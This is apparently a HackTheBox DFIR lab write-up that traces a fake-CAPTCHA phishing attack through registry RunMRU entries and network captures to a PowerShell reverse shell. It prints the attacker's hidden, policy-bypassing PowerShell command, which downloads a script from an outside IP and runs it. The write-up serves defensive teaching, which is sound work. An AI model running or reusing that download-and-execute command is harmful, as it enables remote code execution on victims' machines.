Pikaptcha

Platform: HackTheBox | Type: SOC/DFIR | Difficulty: Easy | Author: D3v0o0Nu11 | Date: 2026-02-10

Scenario

Happy Grunwald contacted the sysadmin, Alonzo, because of issues he had downloading the latest version of Microsoft Office. He had received an email saying he needed to update, and clicked the link to do it. He reported that he visited the website and solved a captcha, but no office download page came back. Alonzo, who himself was bombarded with phishing attacks last year and was now aware of attacker tactics, immediately notified the security team to isolate the machine as he suspected an attack. You are provided with network traffic and endpoint artifacts to answer questions about what happened.

Key Questions

1. What indicators of compromise exist?
2. What attack chain / MITRE techniques were used?
3. What is the full timeline?

Investigation Timeline

Evidence Analysed

• Tools: wireshark, python, powershell, bloodhound.
• Artifacts: prefetch, registry.

Detailed Investigation

1. In this case, we're tasked to investigate a recent phishing attack.
2. A person named Happy Grunwald contacted Alonzo, a system administrator, regarding an issue with downloading the latest version of Microsoft Office.
3. Happy reported that he received an email instructing him to update Microsoft Office via a link. After clicking the link, he was prompted to solve a CAPTCHA, but no download page appeared afterward.
4. Recognizing this as a potential phishing attempt, Alonzo became suspicious of the attacker’s tactics. He contacted the security team, who promptly isolated the victim’s machine and provided us with network traffic data and endpoint artifacts for analysis.

1ST QUESTION --> ANS: REDACTED

1. We're given many registry hives and prefetch folder, it's kinda painful to analyze windows registry hives without knowing the context and location of what is our interest.
2. To review recently executed command, we can start analyzing from RunMRU registry key for happy grunwald user.
3. To analyze the registry hives I used registry explorer. But actually you can use registry viewer or just mount it using winregfs. To load the registry hive for user happy grundwald, simply load the NTUSER.DAT of happy grundwald.

RESULT IN REGISTRY EXPLORER

1. Again, to reduce the pain by traverse the folder manually, instead we can use the search bar to find RunMRU.

2. Notice that we found a powershell command execution from a remote source. This is a hint for a malicious activity.

Malicious Powershell Script

 pwsh read-only • copy allowed Copy
powershell -NoP -NonI -W Hidden -Exec Bypass -Command "IEX(New-Object Net.WebClient).DownloadString('http://43.205.115.44/office2024install.ps1')"\1

NOTES REGARDING THE POWERSHELL EXECUTION FOUND:

-NoP flag (No Profile), is used to prevent powershell from loading the user's profile scripts (it can be used to reduce startup time). -Noni (Non-Interactive) flag is used to run the powershell script in a non-interactive mode. -W hidden flag is used to hides the powershell window, thus making the executiion invisible to the user.

The biggest red flag is -Exec Bypass, this flag used to override the system's execution policy, allowing the script to run regardless of any policy settings that might prevent it. This flag is actually is the biggest red flag if it is executed by non legitimate user.

-Command flag is used to specify the powershell command, IEX (Invoke Expression) this cmdlet is used to evaluate or runs the expression passed to it. (New-Object Net.WebClient).DownloadString('http://43.205.115.44/office2024install.ps1') this part creates a new web client object to download the script from the remote server and this script content is passed to IEX which runs it in the current powershell session.

In short, this powershell command is used to download a malicious powersell script file --> office2024install.ps1.

1. Anyway if we correlate this with cyber kill chain stages, this stage is at the installation stage --> stage where the attacker tried to gain persistence.
2. Great! Simple as that now we identified the full command that was run to download and execute the stager.

2ND QUESTION --> ANS: REDACTED

1. Again, we can identify the timestamp of the execution at the registry explorer. It is shown clear.

3RD QUESTION --> ANS: REDACTED

1. Let's shift our focus to the captured network traffic to exfitrate the powershell script, because we cannot download the powershell script from registry explorer, because registry hive actually just stored a configuration data not actual files.

Wireshark

1. Actually now it's much easier, because we already identified the threat actor IP and the malicious file downloaded from the remote server. We can simply export the objects from wireshark.

2. To see the script contens, simply follow the related packet stream.

3. Based from the result, you can see that it contains an encoded powershell command.

DECODED VALUES

1. Interesting! Not a geek in powershell script, but System.Net.Sockets.TCPClient syntax is used to send and receive data.

2. So if we correlate this again to next stages in cyber kill chain, current stage is Command and Control, this could be the backdoor that the attacker tried to use then.

3. Searching on the internet regarding reverse shell payload for powershell, found this github gist:

4. It is exactly the same! Anyway let's get the hash IOC.

Hash IOC

4TH QUESTION --> ANS: REDACTED

1. The port is identified previously as we analyzed the C2 script. The port is 6969.

5TH QUESTION --> ANS: REDACTED

1. Now to identify how many seconds was the reverse shell connection established between C2 and the victim's workstation, we can start by reviewing the next TCP protocol which communicated on port 6969.

2. Instead calculating it manually, I used a library named datetime from python.

SCRIPT TO CALCULATE THE TIMESTAMP

 py read-only • copy allowed Copy
from pwn import *
import os
from datetime import datetime

os.system('clear')

st = datetime.strptime("05:07:48", "%H:%M:%S")
end = datetime.strptime("05:14:31", "%H:%M:%S")

diff = (end - st).total_seconds()
log.success(f'RESULT --> {diff}')

6TH QUESTION --> ANS: REDACTED

1. Upon reviewing the threat actor activities, found that the attacker tried to install another powershell script.

NOTES:

Bloodhound is an open source tool used in Active Directory (AD) environment to map relationships and permissions. This tool help threat actor in reconnaisance to identify potential attack paths for privesc and lateral movement.

1. Now let's shift again our focus to identify the function name which contains the malicious payload to be pasted in the victim's password. Our objective should be to identify the malicious javascript function or code within the fake captcha page.

2. To narrow down our packet analysis, I filter the packets shown to the attacker IP alongside with http protocol.

3. Following the first HTTP packet data then scrolling down, we can identify the script tag that should be our interest section to be analyzed.

4. Upon reviewing it found a function which embedded with the powershell command we previously found during our first analysis at the victim registry hive.

5. As an additional information, this case is very similar to Lumma Stealer malware that exploits fake CAPTCHA pages.

6. Anyway, great! We've investigated the case!

Findings

1. Persistence mechanism — An autostart/persistence mechanism was established on the host (see timeline).
2. Initial access — The threat actor established access via the vector described in the investigation steps.
3. Impact — As documented in the investigation steps.

MITRE ATT&CK Mapping

Answers / Flags

• 1ST QUESTION --> ANS: REDACTED
• 2ND QUESTION --> ANS: REDACTED
• 3RD QUESTION --> ANS: REDACTED
• 4TH QUESTION --> ANS: REDACTED
• 5TH QUESTION --> ANS: REDACTED
• 6TH QUESTION --> ANS: REDACTED

Lessons Learned

1. Using registry explorer to load user's registry hive.
2. Reviewing malicious powershell that acts as a downloader.
3. Identify the threat actor's C2 server.
4. Calculate reverse shell's session duration.
5. Identify the JS function used by the threat actor to lure the victim. (phishing captcha).
6. Is a new and sophisticated method of distributing Lumma Stealer Malware.